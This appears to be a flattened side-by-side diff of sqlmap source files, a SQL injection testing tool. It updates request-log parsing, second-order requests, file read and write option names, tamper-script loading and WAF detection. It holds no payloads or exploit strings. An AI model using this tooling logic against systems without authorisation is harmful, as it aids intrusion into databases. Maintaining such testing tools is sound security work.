warnMsg += "as their body content is stored in separate files. "
warnMsg += "Nevertheless you can use -r to load them individually."
logger.warning(warnMsg)
continue
if not(conf.scope and not re.search(conf.scope, url, re.I)):
if not kb.targets or url not in addedTargetUrls:
kb.targets.add((url, method, None, cookie, None))
addedTargetUrls.add(url)
def _parseBurpLog(content):
"""
Parses burp logs
"""
if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
reqResList = []
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
port, request = match.groups()
try:
request = request.decode("base64")
except binascii.Error:
continue
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
host = _.group(0).strip()
if not re.search(r":\d+\Z", host):
request = request.replace(host, "%s:%d" % (host, int(port)))
reqResList.append(request)
else:
reqResList = [content]
else:
reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
for match in reqResList:
request = match if isinstance(match, basestring) else match.group(0)
request = re.sub(r"\A[^\w]+", "", request)
schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
else:
scheme, port = None, None
if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
continue
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
newline = None
lines = request.split('\n')
headers = []
for index in xrange(len(lines)):
line = lines[index]
if not line.strip() and index == len(lines) - 1:
break
newline = "\r\n" if line.endswith('\r') else '\n'
line = line.strip('\r')
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
data = ""
params = True
elif match:
method = match.group(1)
url = match.group(2)
if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
params = True
getPostReq = True
# POST parameters
elif data is not None and params:
data += "%s%s" % (line, newline)
# GET parameters
elif "?" in line and "=" in line and ": " not in line:
params = True
# Headers
elif re.search(r"\A\S+:", line):
key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper():
cookie = value
elif key.upper() == HTTP_HEADER.HOST.upper():
if '://' in value:
scheme, value = value.split('://')[:2]
splitValue = value.split(":")
host = splitValue[0]
if len(splitValue) > 1:
port = filterStringValue(splitValue[1], "[0-9]")
# Avoid to add a static content length header to
# headers and consider the following lines as
# POSTed data
if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
params = True
# Avoid proxy and connection type related headers
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
headers.append((getUnicode(key), getUnicode(value)))
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
params = True
data = data.rstrip("\r\n") if data else data
if getPostReq and (params or cookie):
if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
port = "443"
elif not scheme and port == "443":
scheme = "https"
if conf.forceSSL:
scheme = "https"
port = port or "443"
if not host:
errMsg = "invalid format of a request file"
raise SqlmapSyntaxException(errMsg)
if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not(conf.scope and not re.search(conf.scope, url, re.I)):
if not kb.targets or url not in addedTargetUrls:
kb.targets.add((url, conf.method or method, data, cookie, tuple(headers)))
addedTargetUrls.add(url)
checkFile(reqFile)
try:
with openFile(reqFile, "rb") as f:
content = f.read()
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
if conf.scope:
logger.info("using regular expression '%s' for filtering targets" % conf.scope)
_parseBurpLog(content)
_parseWebScarabLog(content)
if not addedTargetUrls:
errMsg = "unable to find usable request(s) "
errMsg += "in provided file ('%s')" % reqFile
raise SqlmapGenericException(errMsg)
def _loadQueries(): def _loadQueries():
""" """
Loads queries from 'xml/queries.xml' file. Loads queries from 'xml/queries.xml' file.
@@ -414,7 +209,7 @@ def _setMultipleTargets():
""" """
initialTargetsCount = len(kb.targets) initialTargetsCount = len(kb.targets)
addedTargetUrls = set() seen = set()
if not conf.logFile: if not conf.logFile:
return return
@@ -427,7 +222,11 @@ def _setMultipleTargets():
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
if os.path.isfile(conf.logFile): if os.path.isfile(conf.logFile):
_feedTargetsDict(conf.logFile, addedTargetUrls) for target in parseRequestFile(conf.logFile):
url = target[0]
if url not in seen:
kb.targets.add(target)
seen.add(url)
elif os.path.isdir(conf.logFile): elif os.path.isdir(conf.logFile):
files = os.listdir(conf.logFile) files = os.listdir(conf.logFile)
@@ -437,7 +236,11 @@ def _setMultipleTargets():
if not re.search(r"([\d]+)\-request", reqFile): if not re.search(r"([\d]+)\-request", reqFile):
continue continue
_feedTargetsDict(os.path.join(conf.logFile, reqFile), addedTargetUrls) for target in parseRequestFile(os.path.join(conf.logFile, reqFile)):
url = target[0]
if url not in seen:
kb.targets.add(target)
seen.add(url)
else: else:
errMsg = "the specified list of targets is not a file " errMsg = "the specified list of targets is not a file "
@@ -478,22 +281,37 @@ def _setRequestFromFile():
textual file, parses it and saves the information into the knowledge base. textual file, parses it and saves the information into the knowledge base.
""" """
if not conf.requestFile: if conf.requestFile:
return conf.requestFile = safeExpandUser(conf.requestFile)
seen = set()
addedTargetUrls = set() if not os.path.isfile(conf.requestFile):
errMsg = "specified HTTP request file '%s' " % conf.requestFile
errMsg += "does not exist"
raise SqlmapFilePathException(errMsg)
conf.requestFile = safeExpandUser(conf.requestFile) infoMsg = "parsing HTTP request from '%s'" % conf.requestFile
logger.info(infoMsg)
if not os.path.isfile(conf.requestFile): for target in parseRequestFile(conf.requestFile):
errMsg = "specified HTTP request file '%s' " % conf.requestFile url = target[0]
errMsg += "does not exist" if url not in seen:
raise SqlmapFilePathException(errMsg) kb.targets.add(target)
seen.add(url)
infoMsg = "parsing HTTP request from '%s'" % conf.requestFile if conf.secondReq:
logger.info(infoMsg) conf.secondReq = safeExpandUser(conf.secondReq)
_feedTargetsDict(conf.requestFile, addedTargetUrls) if not os.path.isfile(conf.secondReq):
errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq
errMsg += "does not exist"
raise SqlmapFilePathException(errMsg)
infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq
logger.info(infoMsg)
target = parseRequestFile(conf.secondReq, False).next()
kb.secondReq = target
def _setCrawler(): def _setCrawler():
if not conf.crawlDepth: if not conf.crawlDepth:
@@ -788,22 +606,22 @@ def _setMetasploit():
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
def _setWriteFile(): def _setWriteFile():
if not conf.wFile: if not conf.fileWrite:
return return
debugMsg = "setting the write file functionality" debugMsg = "setting the write file functionality"
logger.debug(debugMsg) logger.debug(debugMsg)
if not os.path.exists(conf.wFile): if not os.path.exists(conf.fileWrite):
errMsg = "the provided local file '%s' does not exist" % conf.wFile errMsg = "the provided local file '%s' does not exist" % conf.fileWrite
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
if not conf.dFile: if not conf.fileDest:
errMsg = "you did not provide the back-end DBMS absolute path " errMsg = "you did not provide the back-end DBMS absolute path "
errMsg += "where you want to write the local file '%s'" % conf.wFile errMsg += "where you want to write the local file '%s'" % conf.fileWrite
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
conf.wFileType = getFileType(conf.wFile) conf.fileWriteType = getFileType(conf.fileWrite)
def _setOS(): def _setOS():
""" """
@@ -880,6 +698,22 @@ def _setDBMS():
break break
def _listTamperingFunctions():
"""
Lists available tamper functions
"""
if conf.listTampers:
infoMsg = "listing available tamper scripts\n"
logger.info(infoMsg)
for script in sorted(glob.glob(os.path.join(paths.SQLMAP_TAMPER_PATH, "*.py"))):
content = openFile(script, "rb").read()
match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
if match:
comment = match.group(1).strip()
dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
def _setTamperingFunctions(): def _setTamperingFunctions():
""" """
Loads tampering functions from given script(s) Loads tampering functions from given script(s)
@@ -918,7 +752,7 @@ def _setTamperingFunctions():
dirname, filename = os.path.split(script) dirname, filename = os.path.split(script)
dirname = os.path.abspath(dirname) dirname = os.path.abspath(dirname)
infoMsg = "loading tamper script '%s'" % filename[:-3] infoMsg = "loading tamper module '%s'" % filename[:-3]
logger.info(infoMsg) logger.info(infoMsg)
if not os.path.exists(os.path.join(dirname, "__init__.py")): if not os.path.exists(os.path.join(dirname, "__init__.py")):
@@ -932,7 +766,7 @@ def _setTamperingFunctions():
try: try:
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING)) module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
except Exception, ex: except Exception, ex:
raise SqlmapSyntaxException("cannot import tamper script '%s' (%s)" % (filename[:-3], getSafeExString(ex))) raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (filename[:-3], getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
@@ -962,7 +796,12 @@ def _setTamperingFunctions():
break break
elif name == "dependencies": elif name == "dependencies":
function() try:
function()
except Exception, ex:
errMsg = "error occurred while checking dependencies "
errMsg += "for tamper module '%s' ('%s')" % (filename[:-3], getSafeExString(ex))
raise SqlmapGenericException(errMsg)
if not found: if not found:
errMsg = "missing function 'tamper(payload, **kwargs)' " errMsg = "missing function 'tamper(payload, **kwargs)' "
@@ -983,7 +822,7 @@ def _setTamperingFunctions():
def _setWafFunctions(): def _setWafFunctions():
""" """
Loads WAF/IPS/IDS detecting functions from script(s) Loads WAF/IPS detecting functions from script(s)
""" """
if conf.identifyWaf: if conf.identifyWaf:
@@ -1054,6 +893,12 @@ def _setSocketPreConnect():
family, type, proto, address = key family, type, proto, address = key
s = socket.socket(family, type, proto) s = socket.socket(family, type, proto)
s._connect(address) s._connect(address)
try:
if type == socket.SOCK_STREAM:
# Reference: https://www.techrepublic.com/article/tcp-ip-options-for-high-performance-data-transmission/
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
except:
pass
with kb.locks.socket: with kb.locks.socket:
socket._ready[key].append((s._sock, time.time())) socket._ready[key].append((s._sock, time.time()))
except KeyboardInterrupt: except KeyboardInterrupt:
@@ -1232,7 +1077,7 @@ def _setSafeVisit():
key, value = line.split(':', 1) key, value = line.split(':', 1)
value = value.strip() value = value.strip()
kb.safeReq.headers[key] = value kb.safeReq.headers[key] = value
if key == HTTP_HEADER.HOST: if key.upper() == HTTP_HEADER.HOST.upper():
if not value.startswith("http"): if not value.startswith("http"):
scheme = "http" scheme = "http"
if value.endswith(":443"): if value.endswith(":443"):
@@ -1417,14 +1262,6 @@ def _setHTTPExtraHeaders():
# Reference: http://stackoverflow.com/a/1383359 # Reference: http://stackoverflow.com/a/1383359
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
def _defaultHTTPUserAgent():
"""
@return: default sqlmap HTTP User-Agent header
@rtype: C{str}
"""
return "%s (%s)" % (VERSION_STRING, SITE)
def _setHTTPUserAgent(): def _setHTTPUserAgent():
""" """
Set the HTTP User-Agent header. Set the HTTP User-Agent header.
@@ -1464,12 +1301,12 @@ def _setHTTPUserAgent():
_ = True _ = True
for header, _ in conf.httpHeaders: for header, _ in conf.httpHeaders:
if header == HTTP_HEADER.USER_AGENT: if header.upper() == HTTP_HEADER.USER_AGENT.upper():
_ = False _ = False
break break
if _: if _:
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
else: else:
if not kb.userAgents: if not kb.userAgents:
@@ -1484,10 +1321,10 @@ def _setHTTPUserAgent():
warnMsg += "file '%s'" % paths.USER_AGENTS warnMsg += "file '%s'" % paths.USER_AGENTS
logger.warn(warnMsg) logger.warn(warnMsg)
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _defaultHTTPUserAgent())) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT))
return return
userAgent = random.sample(kb.userAgents or [_defaultHTTPUserAgent()], 1)[0] userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0]
infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent
infoMsg += "file '%s'" % paths.USER_AGENTS infoMsg += "file '%s'" % paths.USER_AGENTS
@@ -1528,6 +1365,19 @@ def _setHTTPCookies():
conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
def _setHostname():
"""
Set value conf.hostname
"""
if conf.url:
try:
conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0]
except ValueError, ex:
errMsg = "problem occurred while "
errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
raise SqlmapDataException(errMsg)
def _setHTTPTimeout(): def _setHTTPTimeout():
""" """
Set the HTTP timeout Set the HTTP timeout
@@ -1585,7 +1435,7 @@ def _createTemporaryDirectory():
try: try:
if not os.path.isdir(tempfile.gettempdir()): if not os.path.isdir(tempfile.gettempdir()):
os.makedirs(tempfile.gettempdir()) os.makedirs(tempfile.gettempdir())
except (OSError, IOError, WindowsError), ex: except Exception, ex:
warnMsg = "there has been a problem while accessing " warnMsg = "there has been a problem while accessing "
warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex) warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
warnMsg += "make sure that there is enough disk space left. If problem persists, " warnMsg += "make sure that there is enough disk space left. If problem persists, "
@@ -1596,7 +1446,7 @@ def _createTemporaryDirectory():
if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
try: try:
tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid())) tempfile.tempdir = tempfile.mkdtemp(prefix="sqlmap", suffix=str(os.getpid()))
except (OSError, IOError, WindowsError): except:
tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid())) tempfile.tempdir = os.path.join(paths.SQLMAP_HOME_PATH, "tmp", "sqlmap%s%d" % (randomStr(6), os.getpid()))
kb.tempDir = tempfile.tempdir kb.tempDir = tempfile.tempdir
@@ -1604,7 +1454,7 @@ def _createTemporaryDirectory():
if not os.path.isdir(tempfile.tempdir): if not os.path.isdir(tempfile.tempdir):
try: try:
os.makedirs(tempfile.tempdir) os.makedirs(tempfile.tempdir)
except (OSError, IOError, WindowsError), ex: except Exception, ex:
errMsg = "there has been a problem while setting " errMsg = "there has been a problem while setting "
errMsg += "temporary directory location ('%s')" % getSafeExString(ex) errMsg += "temporary directory location ('%s')" % getSafeExString(ex)
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -1667,15 +1517,17 @@ def _cleanupOptions():
if conf.url: if conf.url:
conf.url = conf.url.strip() conf.url = conf.url.strip()
if not re.search(r"\A\w+://", conf.url):
conf.url = "http://%s" % conf.url
if conf.rFile: if conf.fileRead:
conf.rFile = ntToPosixSlashes(normalizePath(conf.rFile)) conf.fileRead = ntToPosixSlashes(normalizePath(conf.fileRead))
if conf.wFile: if conf.fileWrite:
conf.wFile = ntToPosixSlashes(normalizePath(conf.wFile)) conf.fileWrite = ntToPosixSlashes(normalizePath(conf.fileWrite))
if conf.dFile: if conf.fileDest:
conf.dFile = ntToPosixSlashes(normalizePath(conf.dFile)) conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest))
if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"): if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"):
conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl) conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl)
@@ -1692,14 +1544,6 @@ def _cleanupOptions():
if conf.optimize: if conf.optimize:
setOptimize() setOptimize()
match = re.search(INJECT_HERE_REGEX, conf.data or "")
if match:
kb.customInjectionMark = match.group(0)
match = re.search(INJECT_HERE_REGEX, conf.url or "")
if match:
kb.customInjectionMark = match.group(0)
if conf.os: if conf.os:
conf.os = conf.os.capitalize() conf.os = conf.os.capitalize()
@@ -1717,16 +1561,33 @@ def _cleanupOptions():
if conf.testFilter: if conf.testFilter:
conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = conf.testFilter.strip('*+')
conf.testFilter = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testFilter) conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter)
try: try:
re.compile(conf.testFilter) re.compile(conf.testFilter)
except re.error: except re.error:
conf.testFilter = re.escape(conf.testFilter) conf.testFilter = re.escape(conf.testFilter)
if conf.csrfToken:
original = conf.csrfToken
try:
re.compile(conf.csrfToken)
if re.escape(conf.csrfToken) != conf.csrfToken:
message = "provided value for option '--csrf-token' is a regular expression? [Y/n] "
if not readInput(message, default='Y', boolean=True):
conf.csrfToken = re.escape(conf.csrfToken)
except re.error:
conf.csrfToken = re.escape(conf.csrfToken)
finally:
class _(unicode):
pass
conf.csrfToken = _(conf.csrfToken)
conf.csrfToken._original = original
if conf.testSkip: if conf.testSkip:
conf.testSkip = conf.testSkip.strip('*+') conf.testSkip = conf.testSkip.strip('*+')
conf.testSkip = re.sub(r"([^.])([*+])", "\g<1>.\g<2>", conf.testSkip) conf.testSkip = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testSkip)
try: try:
re.compile(conf.testSkip) re.compile(conf.testSkip)
@@ -1797,6 +1658,9 @@ def _cleanupOptions():
if any((conf.proxy, conf.proxyFile, conf.tor)): if any((conf.proxy, conf.proxyFile, conf.tor)):
conf.disablePrecon = True conf.disablePrecon = True
if conf.dummy:
conf.batch = True
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.reset() threadData.reset()
@@ -1811,23 +1675,13 @@ def _cleanupEnvironment():
if hasattr(socket, "_ready"): if hasattr(socket, "_ready"):
socket._ready.clear() socket._ready.clear()
def _dirtyPatches(): def _purge():
""" """
Place for "dirty" Python related patches Safely removes (purges) sqlmap data directory.
""" """
httplib._MAXLINE = 1 * 1024 * 1024 # accept overly long result lines (e.g. SQLi results in HTTP header responses) if conf.purge:
purge(paths.SQLMAP_HOME_PATH)
if IS_WIN:
from thirdparty.wininetpton import win_inet_pton # add support for inet_pton() on Windows OS
def _purgeOutput():
"""
Safely removes (purges) output directory.
"""
if conf.purgeOutput:
purge(paths.SQLMAP_OUTPUT_PATH)
def _setConfAttributes(): def _setConfAttributes():
""" """
@@ -1865,7 +1719,7 @@ def _setConfAttributes():
conf.tests = [] conf.tests = []
conf.trafficFP = None conf.trafficFP = None
conf.HARCollectorFactory = None conf.HARCollectorFactory = None
conf.wFileType = None conf.fileWriteType = None
def _setKnowledgeBaseAttributes(flushAll=True): def _setKnowledgeBaseAttributes(flushAll=True):
""" """
@@ -1879,6 +1733,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.absFilePaths = set() kb.absFilePaths = set()
kb.adjustTimeDelay = None kb.adjustTimeDelay = None
kb.alerted = False kb.alerted = False
kb.aliasName = randomStr()
kb.alwaysRefresh = None kb.alwaysRefresh = None
kb.arch = None kb.arch = None
kb.authHeader = None kb.authHeader = None
@@ -2017,6 +1872,8 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.rowXmlMode = False kb.rowXmlMode = False
kb.safeCharEncode = False kb.safeCharEncode = False
kb.safeReq = AttribDict() kb.safeReq = AttribDict()
kb.secondReq = None
kb.serverHeader = None
kb.singleLogFlags = set() kb.singleLogFlags = set()
kb.skipSeqMatcher = False kb.skipSeqMatcher = False
kb.reduceTests = None kb.reduceTests = None
@@ -2406,10 +2263,18 @@ def _basicOptionValidation():
errMsg = "switch '--eta' is incompatible with option '-v'" errMsg = "switch '--eta' is incompatible with option '-v'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.secondUrl and conf.secondReq:
errMsg = "option '--second-url' is incompatible with option '--second-req')"
raise SqlmapSyntaxException(errMsg)
if conf.direct and conf.url: if conf.direct and conf.url:
errMsg = "option '-d' is incompatible with option '-u' ('--url')" errMsg = "option '-d' is incompatible with option '-u' ('--url')"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.direct and conf.dbms:
errMsg = "option '-d' is incompatible with option '--dbms'"
raise SqlmapSyntaxException(errMsg)
if conf.identifyWaf and conf.skipWaf: if conf.identifyWaf and conf.skipWaf:
errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'" errMsg = "switch '--identify-waf' is incompatible with switch '--skip-waf'"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -2576,6 +2441,10 @@ def _basicOptionValidation():
errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.sitemapUrl, conf.listTampers)):
errMsg = "option '--crack' should be used as a standalone"
raise SqlmapSyntaxException(errMsg)
if isinstance(conf.uCols, basestring): if isinstance(conf.uCols, basestring):
if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2): if not conf.uCols.isdigit() and ("-" not in conf.uCols or len(conf.uCols.split("-")) != 2):
errMsg = "value for option '--union-cols' must be a range with hyphon " errMsg = "value for option '--union-cols' must be a range with hyphon "
@@ -2628,8 +2497,7 @@ def init():
_setRequestFromFile() _setRequestFromFile()
_cleanupOptions() _cleanupOptions()
_cleanupEnvironment() _cleanupEnvironment()
_dirtyPatches() _purge()
_purgeOutput()
_checkDependencies() _checkDependencies()
_createTemporaryDirectory() _createTemporaryDirectory()
_basicOptionValidation() _basicOptionValidation()
@@ -2638,6 +2506,7 @@ def init():
_setDNSServer() _setDNSServer()
_adjustLoggingFormatter() _adjustLoggingFormatter()
_setMultipleTargets() _setMultipleTargets()
_listTamperingFunctions()
_setTamperingFunctions() _setTamperingFunctions()
_setWafFunctions() _setWafFunctions()
_setTrafficOutputFP() _setTrafficOutputFP()
@@ -2645,10 +2514,10 @@ def init():
_resolveCrossReferences() _resolveCrossReferences()
_checkWebSocket() _checkWebSocket()
parseTargetUrl()
parseTargetDirect() parseTargetDirect()
if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)): if any((conf.url, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.requestFile, conf.googleDork, conf.liveTest)):
_setHostname()
_setHTTPTimeout() _setHTTPTimeout()
_setHTTPExtraHeaders() _setHTTPExtraHeaders()
_setHTTPCookies() _setHTTPCookies()
+8 -6
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -109,7 +109,8 @@ optDict = {
"uChar": "string", "uChar": "string",
"uFrom": "string", "uFrom": "string",
"dnsDomain": "string", "dnsDomain": "string",
"secondOrder": "string", "secondUrl": "string",
"secondReq": "string",
}, },
"Fingerprint": { "Fingerprint": {
@@ -164,9 +165,9 @@ optDict = {
}, },
"File system": { "File system": {
"rFile": "string", "fileRead": "string",
"wFile": "string", "fileWrite": "string",
"dFile": "string", "fileDest": "string",
}, },
"Takeover": { "Takeover": {
@@ -226,9 +227,10 @@ optDict = {
"disableColoring": "boolean", "disableColoring": "boolean",
"googlePage": "integer", "googlePage": "integer",
"identifyWaf": "boolean", "identifyWaf": "boolean",
"listTampers": "boolean",
"mobile": "boolean", "mobile": "boolean",
"offline": "boolean", "offline": "boolean",
"purgeOutput": "boolean", "purge": "boolean",
"skipWaf": "boolean", "skipWaf": "boolean",
"smart": "boolean", "smart": "boolean",
"tmpDir": "string", "tmpDir": "string",
+26
View File
@@ -0,0 +1,26 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import httplib
from lib.core.settings import IS_WIN
def dirtyPatches():
"""
Place for "dirty" Python related patches
"""
# accept overly long result lines (e.g. SQLi results in HTTP header responses)
httplib._MAXLINE = 1 * 1024 * 1024
# add support for inet_pton() on Windows OS
if IS_WIN:
from thirdparty.wininetpton import win_inet_pton
# Reference: https://github.com/nodejs/node/issues/12786#issuecomment-298652440
codecs.register(lambda name: codecs.lookup("utf-8") if name == "cp65001" else None)
+18 -13
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -50,7 +50,7 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
if os.path.exists(imageOutputFile): if os.path.exists(imageOutputFile):
os.remove(imageOutputFile) os.remove(imageOutputFile)
infoMsg = "profiling the execution into file %s" % profileOutputFile infoMsg = "profiling the execution into file '%s'" % profileOutputFile
logger.info(infoMsg) logger.info(infoMsg)
# Start sqlmap main function and generate a raw profile file # Start sqlmap main function and generate a raw profile file
@@ -80,15 +80,20 @@ def profile(profileOutputFile=None, dotOutputFile=None, imageOutputFile=None):
if isinstance(pydotGraph, list): if isinstance(pydotGraph, list):
pydotGraph = pydotGraph[0] pydotGraph = pydotGraph[0]
pydotGraph.write_png(imageOutputFile) try:
pydotGraph.write_png(imageOutputFile)
except OSError:
errMsg = "profiling requires graphviz installed "
errMsg += "(Hint: 'sudo apt-get install graphviz')"
logger.error(errMsg)
else:
infoMsg = "displaying interactive graph with xdot library"
logger.info(infoMsg)
infoMsg = "displaying interactive graph with xdot library" # Display interactive Graphviz dot file by using extra/xdot/xdot.py
logger.info(infoMsg) # http://code.google.com/p/jrfonseca/wiki/XDot
win = xdot.DotWindow()
# Display interactive Graphviz dot file by using extra/xdot/xdot.py win.connect('destroy', gtk.main_quit)
# http://code.google.com/p/jrfonseca/wiki/XDot win.set_filter("dot")
win = xdot.DotWindow() win.open_file(dotOutputFile)
win.connect('destroy', gtk.main_quit) gtk.main()
win.set_filter("dot")
win.open_file(dotOutputFile)
gtk.main()
+3 -3
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -14,11 +14,11 @@ _readline = None
try: try:
from readline import * from readline import *
import readline as _readline import readline as _readline
except ImportError: except:
try: try:
from pyreadline import * from pyreadline import *
import pyreadline as _readline import pyreadline as _readline
except ImportError: except:
pass pass
if IS_WIN and _readline: if IS_WIN and _readline:
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+37 -23
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
